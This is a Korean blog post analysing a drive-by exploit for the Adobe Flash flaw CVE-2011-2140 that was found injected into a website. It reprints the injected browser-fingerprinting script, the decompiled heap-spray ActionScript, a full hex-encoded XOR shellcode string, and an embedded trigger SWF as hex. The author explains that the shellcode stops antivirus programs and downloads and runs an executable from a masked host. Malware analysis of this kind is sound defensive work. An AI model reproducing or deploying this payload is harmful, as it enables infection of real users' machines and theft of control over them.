Adobe Flash Player CVE-2011-2140 취약점 간단 분석

금일 분석하다 처음보는 취약점을 확인하여 기록합니다. 우선 특정 사이트에 아래와 같이 삽입이 되어 있었습니다.

function user(){

    var January="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
    "<object width=\"550\" height=\"400\">\r\n"+
    "<param name=\"movie\" value=\"done.swf\">\r\n"+
    "<embed src=\"Birthday.swf\" width=\"550\" height=\"400\">\r\n"+
    "<\/embed>\r\n"+
    "<\/object>"
    ;

    var info = navigator.userAgent.toLowerCase();
    var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
    var ck=code();
    var March = info.indexOf('msie 7.0');
    var April = info.indexOf('msie 6.0');
    var August = info.indexOf("windows nt 5.1");

    if(August>0&&ck==1&&(March>0||April>0)){
        document.body.innerHTML="xxxx"+January;
    }
}

여기서 Birthday.swf 파일을 살펴 보도록 하겠습니다. 이전에 알려드린 SWFScan 툴을 이용하여 코드를 확인하면 아래와 같습니다.
SWFScan : http://www.hp.com/go/swfscan

package [Global]
{
    public class hs extends flash.display::MovieClip
    {

        //========================= Variables
        internal static const POOL_SIZE : int = -1048576;
        internal static var allocs : Array;
        internal static var pool : ByteArray;
        internal static var dstSize : int;
        internal static var allocCount : int;
        internal static var cevent : Function;
        internal static var childRef : DisplayObject = Null;
        internal static var container : Sprite = Null;

        //========================= Methods

        public static function hs()
        {
            this.POOL_SIZE = -1048576;
            this.childRef = null;
            this.container = null;
            return;

        }

        public function hs()
        {
            var loc1:* = undefined;
            var loc2:* = undefined;
            var loc9:* = null;
            super();
            var loc0:* = new ByteArray();
            loc0.endian = Endian.LITTLE_ENDIAN;
            var loc3:* = 0;
            var loc4:* = "4357530AA805000078DA7D535B8FDB44149EF16DE26473DBA4DE6DDAD294164542247652046CB48D48932D744537D2AEB84A2B32B1279BA18E6DD993CB4A48A09578E1857FC1BF408807241E4357C07B9FFA2F96B1BD4D36A562642773CE7CE73BDF39673C07D27300323F03B00D41377F1D00F05DE10F08C0AE6F0D9B87DD47E5F9D8768226B71E54468C794D5D9FCD66B5D9FD9AEB9FE8F59D9D1DDD68E88D469523AAC1A9C3F0BCEA04772BAD88A04B02D3A71EA3AE530E6D3C7027EC41A572C96A994B526FE2DB11A565EAC42663E2B040AFD7EA9CC8329B43D71F63D6C29E6753138774FABC1A8C5CF3E90C4F497568E360B4ABAF80610CA3CC26ADB6E50E48F9914DE6E577CBED557C848E2121D85A096D5D291387D135D31DEB9EEF5A13936B1A72AA28F86A4848E14D06360D46C46F4D9CA78E3B8B53ACBC21C6F40966EE3AE2A52F3CB7B17332C127A4B577109D2DED482366A4D530EAF5EA07D57A23D610BA76F5575A7DE9E1D36B816EEE85B80B3AC2C5C5C55749918F57E1AF047AEF8368FDF450F9A5CEC7FD7BF209A60EF8B5F82DC7701B0C7D3C267590033520FC76F6C38F12006F0169EA526B23EA768D4CC31165DB7CE6E69EEFBBFE5EE890429A748CB068E0D9F8547DE24E29E9D8D4CBE325F863EC5836F1533172C2A81DA80F4F1969FB3E8F88BD0E61E903C23AAEE31033AC0B99F1F6CEE58456D3691FDDD71B86F19E3E98509B51E792774C2C8AB7D6D434976A8AEBFE23CFA78CDC5B7776E3FFDEE01B9E960B61BC3AE2DF5E073D7618F13157382531F0C6FF90DCBCDABD66D4B3F01C3393DF1125C6A8BCEA23C6AFC538370B457DEA04F4C421164F946A1F7D79D0F97AEFF0B07798C39615117C420346B82E99D4F0944A6132F9336A11378B19C3E6684997E0119D11B5ADEC2B89D36B1AF3FFA9487B7D2394B869450D6AA2A66CCB9AAAA56420832D98C868D9925CCA95F2A5CD52A1542C5D2B694201414156126A524C491BE94C3697DF2C6C711F1224046524220413484E2265434D43A4F0A36D04AFAB25A8DE8428754B7D0322781B410D096524DE41E29B48BC8BC47B5278912114C06A41515225C03D50CE8B108ADC86FCD643C8732F8C8F22F8CBAD20CAC9D4E70B63F1181C2BFB0AF85EF9EB18ED2370F6F7B3722F018FD567FB2A3CFBE7CF2AEC25E1D5DFF3BE304CF5E5DE8670FECE8D5E1A1E67F633E0EC6D533AEF65E16220F57290D38B02CF5A591804F4F3467FD3E8178C7ED1E85F33FA9AD197F8F305B815AF91C8E16A21FCFAA28FF143BEF9179183A55A";
            var loc5:* = "0c0c9090eb115a4a33c96681c1E30780340a96e2faeb05e8eafffffff67e96969696cb177b8586d6961d631b10f683d696c67eda9296961b10c783d696c67ed69296961b102783d696c67ea29296961b104c83d696c67ebe929696c0fc977e2f949696c0fc947e27949696c0fc957e3f949696c0fc927e37949696c07ed0979696c07e39969696c07e11969696fc9669001f83d696f755c31d7a15526a1dd39e1fd36aa556cf16af96e292d6d77d615f549296c31d7a69e39e7e4f69696997d39e1de39a1deb9e69e39a7e5e6969691d5e15579765325f549e96c31d7ac11deb9e1369e2be1dc39a1344e2b7c01de3861d50d813561d59e09abd41d01c92871e97d7d8e3611d51c8c95f549a96a556c95f549a96c31d7a1de39e1b103781d696c669000383d696fcf3c669000f83d69669465f549296c31d7a1552621de39ef61bcb6ac5fcd6fcf21d10ce83d696c669000783d696f71d10ce83d6961fd3621d50933d87d696bdd362157e931fd36ef6fc971b088681d696c51d10ce83d696c67ec3696969f7f6fc921bd36ec61d10ce83d696155697c67ea8696969f71b101f83d696fc92c62e3d87d6969550155695c67eb26969695f549296fc962e9696969669465f549296c31d7a15527a1de39efe92979696fcd669001b83d6961fd36ac6fe9297969669001383d696f61b080181d696c569e36a7e21686969f769e36a6900ff83d696fc96fc9669e36a1b08ad83d696c5fc9669007783d6969d56991362969696fc96fc96fc95fc96fc95fc9569e36a6900e783d6961fd36e15eb6e96991244969696fc9669e36e6900fb83d6961fd36217eb62f67c969699102196969617eb6206c9979699153c96969669e362fcd669001b83d6961fd36651d37a96969696fc961bd37ac669e36269e36669e36e6900ef83d6969d56e2eaf61ddb621dd3661c861654b216644a1e86d6dfe364f7fc96fc96fc9669e36e69003783d696156e69e2c4fc9651d37a969696961bd37ac669e36269e36669e36e6900eb83d6969d56e2a469e36e6900e383d696fe4691969669000b83d69669e36a69000383d696156e96e2711b083b81d696c5c669000f83d69669465f549296c31d7a1552461de39afe92979696fcd669001b83d6961fd36a1bd36ec6fe8f969496fc9615eb9e97e3901b107f83d69615eb9e94e3901b109480d69615eb9e95e3901b10b480d69615eb9e92e3901b10dc80d696c6fe9496961669002c83d69615eb9e97e29015eb9e94e3937f1e96969615eb9e95e3b49d56e388fc961b08f481d696c569001783d696fc961b08eb81d696c569001783d69615eb9e92e3c09d56e3c4fea9969996fc96fc9669005083d6969d56e2a9fcb21b088181d696c5c669005c83d6969d56e2bd1bcb46c5fc97c669005883d696fc961b08a681d696c569001783d696fc961b08dc81d696c569001783d6965f549e969d56e2905f549e967df215eb9e97e3901b08f580d69615eb9e94e3901b082180d696c5fc96fc97fc9669003383d6969d56e291c669003f83d69615eb9e97e3901b080a80d69615eb9e94e3901b087980d696c5fc96fc97fc9669003383d6969d56e291c669003f83d6965f549e96f61de2b2b27e01969696fe3b47a2d7c67eb7969696c069461d4ebd563a1256e36d1d683b1356e29cc6c57e919696963d7d67f7549296f61dfab2b21dd3aa1dc2beee95431ddc8e1dccb6954b75dfdf1da21d9563a569f61d40a5566146a494259e477ee593a3b6152e7b685de36516ac96e295d47d7161461f92b2f7adeab2bee35c1dccb2954bf01d9add1dcc8a954b1d921d95537d94bd561fd2b28af7549e96f6a556f21dd6a61356ee9a1dd69a1de68a3b1dd69e7d9f1dd6a21bd6ea1dd6aa1fd2b28af755fee2e2e6acb9b9e5f2a6b8fff8b9e2b9f0b8f3eef396e3e5f3e4a5a496942dddf396969696fdf3e4f8f3faa5a49648f9b3488d17eb7949bb1f1a0bdcf4feccf74ec205e1e1b7d9bad3be0b7fbc4517e763d655c535152d4255ef3b47a2d789ea5f692ca0579cd40b1313ef29cf803576899796969696f7f2e0f7e6ffa5a4960fc08f5bad9f211e39948e12fa3befddfc68f7ba60694c8991c3885296969696e3e4fafbf9f8968f42550496969696c5d9d0c2c1d7c4d3cacad7fef8daf7f4cacac0a5daffe2f396c5d9d0c2c1d7c4d3cacad7fef8daf7f4cacac0a5b6a5a0a3b6d5fafff8fff596c5d9d0c2c1d7c4d3cacad8ded8b6d5f9e4e6f9e4f7e2fff9f8cacad8f7e0f3e4c0f7f5f5fff8f396c5d9d0c2c1d7c4d3cacad3c5c2e5f9f0e2cacad7dacff7f596d1faf9f4f7facac0a5dadfc2d3c9edd7a5d7a6afd3d3a4bba7d4a7d3bba2a6a0a1bbd4a4a4d2bba6a4a0afa7a2a0d4a7a6a6a6ebc9d7dada96d1faf9f4f7facac0a5dadfc2d3c9d0dfd8dfc5dec9d3c0d3d8c296d1faf9f4f7facac0a5a5a0a3c9edd7a5d7a6afd3d3a4bba7d4a7d3bba2a6a0a1bbd4a4a4d2bba6a4a0afa7a2a0d4a7a6a6a6ebc9d7dada96d1faf9f4f7facac0a5a5a0a3c9d0dfd8dfc5dec9d3c0d3d8c2962e9696969696967f060606060696d796da96cf96f796f596c996c696cc96c596e496e096969696f8e2e5f2b6bbf5b6e7b6bbe6f8b6d7cfd7f1f3f8e2b8f7eff396f8e2e5f2b6bbf5b6e7b6bbe6f8b6d7dacff7f5b8f7eff396f8e2e5f2b6bbf5b6e7b6bbe6f8b6d8c0d5d7f1f3f8e2b8f8e6f596f8e2e5f2b6bbf5b6e7b6bbe6f8b6d8e5f7e0e5e0f5b8f8e6f596c0c5daf7efb8f2fafa96c5fef2f9f5e0e1b8f2fafa96fff8ffe296b2c5fef3fafad5f9f2f3c9c2fef3d3f8f2b22e21919696c67e979696965a69b396b6d6969696969696969696969696969696969696969696969696969696";
            loc0.writeBytes(this.hexToBin(loc5));
            loc3 = loc5.length / 2;
            loc1 = 0;
            while(loc1 < 65536 - loc3)
            {
                loc0.writeByte(12);
                loc1 = loc1 + 1;
            }
            this.alloc(loc0, -1048576 - 36);
            var loc6:* = new ByteArray();
            writeBytes(this.pool, 0, -1048576 - 36);
            allocs.push(loc6);
            this.pool = null;
            loc1 = 0;
            while(loc1 < 224)
            {
                loc9 = new ByteArray();
                writeBytes(loc6, 0, -1048576 - 36);
                allocs.push(loc9);
                loc1 = loc1 + 1;
            }
            var loc7:* = new Loader();
            var loc8:* = new LoaderContext(false);
            loc7.loadBytes(this.hexToBin(loc4), loc8);
            this.childRef = 0;
            return;

        }

        public static function init_pool(arg0:*)
        {
            var loc0:* = null;
            this.pool = new ByteArray();
            pool.writeBytes(arg0);
            while(this.pool.length < this.POOL_SIZE)
            {
                loc0 = new ByteArray();
                loc0.writeBytes(this.pool);
                pool.writeBytes(loc0);
            }
            return;

        }

        public static function alloc(arg0:*, arg1:*)
        {
            if(null == this.allocs)
            {
                this.allocs = new Array();
            }
            this.dstSize = ;
            this.init_pool(arg0);
            return;

        }

        public static function free()
        {
            this.allocs = null;
            return;

        }

        public static function hexToBin(arg0:String) : flash.utils::ByteArray
        {
            var loc3:* = null;
            var loc0:* = new ByteArray();
            var loc1:* = arg0.length;
            var loc2:* = 0;
            while(loc2 < loc1)
            {
                loc3 = arg0.charAt(loc2) + arg0.charAt(loc2 + 1);
                loc0.writeByte(parseInt(loc3, 16));
                loc2 = loc2 + 2;
            }
            return loc0;  
        }
    }
}

여기서 loc4, loc5 변수를 살펴보면 해당 취약점을 이해할 수 있습니다. 우선 loc5 부터 살펴 보겠습니다.
살펴보면 0x96으로 XOR 되어 있음을 알 수 있고 국내 여러 백신을 종료시키는 시도시키고 http://***.in/t/f.exe 파일을 다운로드 및 실행을 함을 알 수 있습니다.

그럼 이제 loc4 변수를 살펴 보도록 하겠습니다. 우선 해당 변수값을 파일로 저장해보면 Flash 파일임을 알 수 있습니다.
역시 SWFScan 툴로 확인해봅니다.

package [Global]
{
    public class Main extends flash.display::MovieClip
    {

        //========================= Methods

        public static function Main()
        {
            return;

        }

        public function Main()
        {
            super();
            var loc0:* = new ByteArray();
            var loc1:* = new NetConnection();
            loc1.connect(null);
            var loc2:* = new NetStream(loc1);
            loc0.writeUnsignedInt(1094795585);
            loc0.writeUnsignedInt(1094795585);
            loc0.writeUnsignedInt(1094795585);
            loc2.addEventListener(AsyncErrorEvent.ASYNC_ERROR, this.asyncErrorHandler);
            loc2.play("e.avi");
            var loc3:* = new Video();
            attachNetStream(loc2);
            this.addChild(loc3);
            return;

        }

        public static function asyncErrorHandler(arg0:flash.events::AsyncErrorEvent)
        {
            return;
        }
    }
}

코드를 살펴보면 e.avi 파일을 로드함을 알 수 있습니다. 해당 파일을 다운로드 하여 우선 파일을 확인해 봅니다.

[byjjoon@ByJJoon ~]$ file e.avi
e.avi: ISO Media, MPEG v4 system, version 2

일반적인 MP4 파일로 보이며, 해당 파일을 로드하다 취약점이 발생하여 이전에 분석한 loc5 변수의 쉘코드가 실행될 것으로 보입니다. 해당 파일의 VirusTotal 결과는 아래와 같습니다.

http://www.virustotal.com/file-scan/report.html?id=2c6f21dd290771ad9d4a14167110c6ad83938994e08c46125d5d562d7c110ea1-1315575312

최근에 exploit-db에 아래와 같은 코드가 올라와서 남겨 놓습니다.
http://www.exploit-db.com/exploits/18437/

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다